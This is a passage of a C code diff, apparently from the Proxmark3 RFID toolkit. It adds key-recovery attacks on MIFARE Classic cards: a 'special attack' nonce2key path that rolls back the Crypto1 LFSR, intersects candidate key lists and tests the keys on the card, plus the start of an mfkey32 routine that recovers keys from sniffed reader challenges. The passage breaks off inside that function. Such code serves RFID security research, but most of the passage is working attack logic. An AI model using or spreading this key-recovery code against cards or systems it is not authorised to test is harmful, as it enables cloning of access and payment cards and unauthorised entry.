- PrintAndLog("\nuid(%08x) nt(%08x) par(%016llx) ks(%016llx)\n\n",uid,nt,par_info,ks_info);
-
- for (pos=0; pos<8; pos++)
- {
- ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
- bt = (par_info >> (pos*8)) & 0xff;
- for (i=0; i<8; i++)
- {
- par[7-pos][i] = (bt >> i) & 0x01;
- }
- }
-
- printf("|diff|{nr} |ks3|ks3^5|parity |\n");
- printf("+----+--------+---+-----+---------------+\n");
- for (i=0; i<8; i++)
- {
- nr_diff = nr | i << 5;
- printf("| %02x |%08x|",i << 5, nr_diff);
- printf(" %01x | %01x |",ks3x[i], ks3x[i]^5);
- for (pos=0; pos<7; pos++) printf("%01x,", par[i][pos]);
- printf("%01x|\n", par[i][7]);
- }
+ PrintAndLog("parity is all zero,try special attack! just wait for few more seconds");
+
+ clock_t t1 = clock();
+
+ state = lfsr_common_prefix_ex(nr, ks3x);
+ state_s = (int64_t*)state;
+
+ //char filename[50] ;
+ //sprintf(filename, "nt_%08x_%d.txt", nt, nr);
+ //printf("name %s\n", filename);
+ //FILE* fp = fopen(filename,"w");
+ for (i = 0; (state) && ((state + i)->odd != -1); i++) {
+ lfsr_rollback_word(state+i, uid^nt, 0);
+ crypto1_get_lfsr(state + i, &key_recovered);
+ *(state_s + i) = key_recovered;
+ //fprintf(fp, "%012llx\n",key_recovered);
+ }
+ //fclose(fp);
+
+ if(!state)
+ return 1;
+
+ qsort(state_s, i, sizeof(*state_s), compar_int);
+ *(state_s + i) = -1;
+
+ //Create the intersection:
+ if ( last_keylist != NULL) {
+ int64_t *p1, *p2, *p3;
+ p1 = p3 = last_keylist;
+ p2 = state_s;
+ while ( *p1 != -1 && *p2 != -1 ) {
+ if (compar_int(p1, p2) == 0) {
+ printf("p1:%"llx" p2:%"llx" p3:%"llx" key:%012"llx"\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1);
+ *p3++ = *p1++;
+ p2++;
+ }
+ else {
+ while (compar_int(p1, p2) == -1) ++p1;
+ while (compar_int(p1, p2) == 1) ++p2;
+ }
+ }
+ key_count = p3 - last_keylist;;
+ } else {
+ key_count = 0;
+ }
+
+ printf("key_count:%d\n", key_count);
+
+ // The list may still contain several key candidates. Test each of them with mfCheckKeys
+ uint8_t keyBlock[6];
+ uint64_t key64;
+ for (i = 0; i < key_count; i++) {
+ key64 = *(last_keylist + i);
+ num_to_bytes(key64, 6, keyBlock);
+ key64 = 0;
+ if (!mfCheckKeys(0, 0, TRUE, 1, keyBlock, &key64)) { //block 0,A,
+ *key = key64;
+ free(last_keylist);
+ last_keylist = NULL;
+ free(state);
+ return 0;
+ }
+ }
+
+ t1 = clock() - t1;
+ if ( t1 > 0 ) PrintAndLog("Time in nonce2key_special: %.0f ticks \n", (float)t1);
+
+ free(last_keylist);
+ last_keylist = state_s;
+ return 1;
+}
+
+int tryMfk32(uint8_t *data, uint64_t *outputkey ){
+ struct Crypto1State *s,*t;
+ uint64_t key; // recovered key
+ uint32_t uid = le32toh(data);
+ uint32_t nt = le32toh(data+4); // tag challenge
+ uint32_t nr0_enc = le32toh(data+8); // first encrypted reader challenge
+ uint32_t ar0_enc = le32toh(data+12); // first encrypted reader response
+ //+16 uid2
+ //+20 nt2
+ uint32_t nr1_enc = le32toh(data+24); // second encrypted reader challenge
+ uint32_t ar1_enc = le32toh(data+28); // second encrypted reader response
+ bool isSuccess = FALSE;
+ int counter = 0;
+
+ PrintAndLog("Enter mfkey32");
+ clock_t t1 = clock();
+ s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);